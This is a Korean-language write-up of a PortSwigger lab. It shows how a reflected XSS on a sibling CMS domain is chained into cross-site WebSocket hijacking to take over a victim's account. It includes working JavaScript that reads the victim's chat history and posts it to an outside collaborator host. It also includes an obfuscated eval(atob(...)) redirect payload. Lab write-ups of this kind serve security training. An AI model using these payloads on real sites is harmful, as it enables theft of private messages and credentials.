WEB hacking/PortSwigger

Lab: SameSite Strict bypass via sibling domain 문제 풀이(WriteUp)

Roronoa 2025. 6. 20. 12:22
반응형

문제 설명

피해자 계정으로 로그인하면 문제를 해결할 수 있다.

문제 설명

문제 풀이

/chat 경로에 접속할 시 READY라는 데이터를 서버에 전송하여 기존의 메시지 내용을 불러온다.

/chat 페이지

 

/resources/js/chat.js 경로에서 Access-Control-Allow-Origin 헤더에 [cms-사이트 주소]가 설정되어 있다. Access-Control-Allow-Origin 헤더가 설정되어 있는 경우 다른 도메인이라도 자원에 접근할 수 있게된다.

Access-Control-Allow-Origin 헤더 확인

 

CMS 페이지에 접근할 경우 로그인 페이지가 표시되며, 이 로그인 페이지의 Username 입력 필드에서 XSS(크로스사이트 스크립팅) 취약점이 발생 한다.

XSS 취약점 존재

 

CMS 페이지의 로그인 기능에서 username 파라미터에 XSS(크로스사이트 스크립팅) 공격 구문을 삽입할 경우, 응답 페이지에 해당 값이 HTML 태그로 그대로 반영되어 출력되는 반사형 XSS(Reflected XSS) 취약점이 존재한다.

Reflected XSS 취약점 존재

 

XSS가 존재하며, Access-Control-Allow-Origin 헤더로 자원 접근이 허용되어 있기 때문에 XSS 취약점을 이용하여 피해자의 채팅내용을 공격자의 서버로 전송한다.

<script>
	var ws = new WebSocket("wss://0abc006104e432748094f34a0005000c.web-security-academy.net/chat");
	ws.onopen = function () {
		ws.send("READY");
	};

	ws.onmessage = function (event) {
		fetch('https://ck0wxbkyvij7gt1rnh3aqsb68xeo2fs3h.oastify.com', {method: 'POST', mode:'no-cors', body: event.data});
		console.log(event.data);
	};
</script>

 

채팅 내용을 공격자 서버로 전송하는 공격 구문 생성하여 공격자에게 전송한다.

<script>
	location.href="https://cms-0abc006104e432748094f34a0005000c.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%65%76%61%6c%28%61%74%6f%62%28%22%64%6d%46%79%49%48%64%7a%49%44%30%67%62%6d%56%33%49%46%64%6c%59%6c%4e%76%59%32%74%6c%64%43%67%69%64%33%4e%7a%4f%69%38%76%4d%47%46%69%59%7a%41%77%4e%6a%45%77%4e%47%55%30%4d%7a%49%33%4e%44%67%77%4f%54%52%6d%4d%7a%52%68%4d%44%41%77%4e%54%41%77%4d%47%4d%75%64%32%56%69%4c%58%4e%6c%59%33%56%79%61%58%52%35%4c%57%46%6a%59%57%52%6c%62%58%6b%75%62%6d%56%30%4c%32%4e%6f%59%58%51%69%4b%54%73%4b%64%33%4d%75%62%32%35%76%63%47%56%75%49%44%30%67%5a%6e%56%75%59%33%52%70%62%32%34%67%4b%43%6b%67%65%77%6f%4a%59%32%39%75%63%32%39%73%5a%53%35%73%62%32%63%6f%4a%78%79%45%51%43%44%35%6a%42%4d%67%38%4c%41%67%4d%66%55%68%4a%79%6b%37%43%67%6c%33%63%79%35%7a%5a%57%35%6b%4b%43%4a%53%52%55%46%45%57%53%49%70%4f%77%70%39%4f%77%6f%4b%64%33%4d%75%62%32%35%74%5a%58%4e%7a%59%57%64%6c%49%44%30%67%5a%6e%56%75%59%33%52%70%62%32%34%67%4b%47%56%32%5a%57%35%30%4b%53%42%37%43%67%6c%6d%5a%58%52%6a%61%43%67%6e%61%48%52%30%63%48%4d%36%4c%79%39%6a%61%7a%42%33%65%47%4a%72%65%58%5a%70%61%6a%64%6e%64%44%46%79%62%6d%67%7a%59%58%46%7a%59%6a%59%34%65%47%56%76%4d%6d%5a%7a%4d%32%67%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%6e%4c%43%42%37%62%57%56%30%61%47%39%6b%4f%69%41%6e%55%45%39%54%56%43%63%73%49%47%31%76%5a%47%55%36%4a%32%35%76%4c%57%4e%76%63%6e%4d%6e%4c%43%42%69%62%32%52%35%4f%69%42%6c%64%6d%56%75%64%43%35%6b%59%58%52%68%66%53%6b%37%43%67%6c%6a%62%32%35%7a%62%32%78%6c%4c%6d%78%76%5a%79%68%6c%64%6d%56%75%64%43%35%6b%59%58%52%68%4b%54%73%4b%66%54%73%3d%22%29%29%3c%2f%73%63%72%69%70%74%3e&password=a"
</script>

 

공격 구문을 피해자에게 전송할시 피해자의 채팅 내용이 공격자 서버로 전송되었으며, 채팅 내용 속에서 피해자 계정 정보가 확인되었다.

피해자 계정 정보 확인

확인된 피해자 계정 정보를 이용해 로그인에 성공하였고, 이를 통해 문제를 해결하였다.

문제 해결

반응형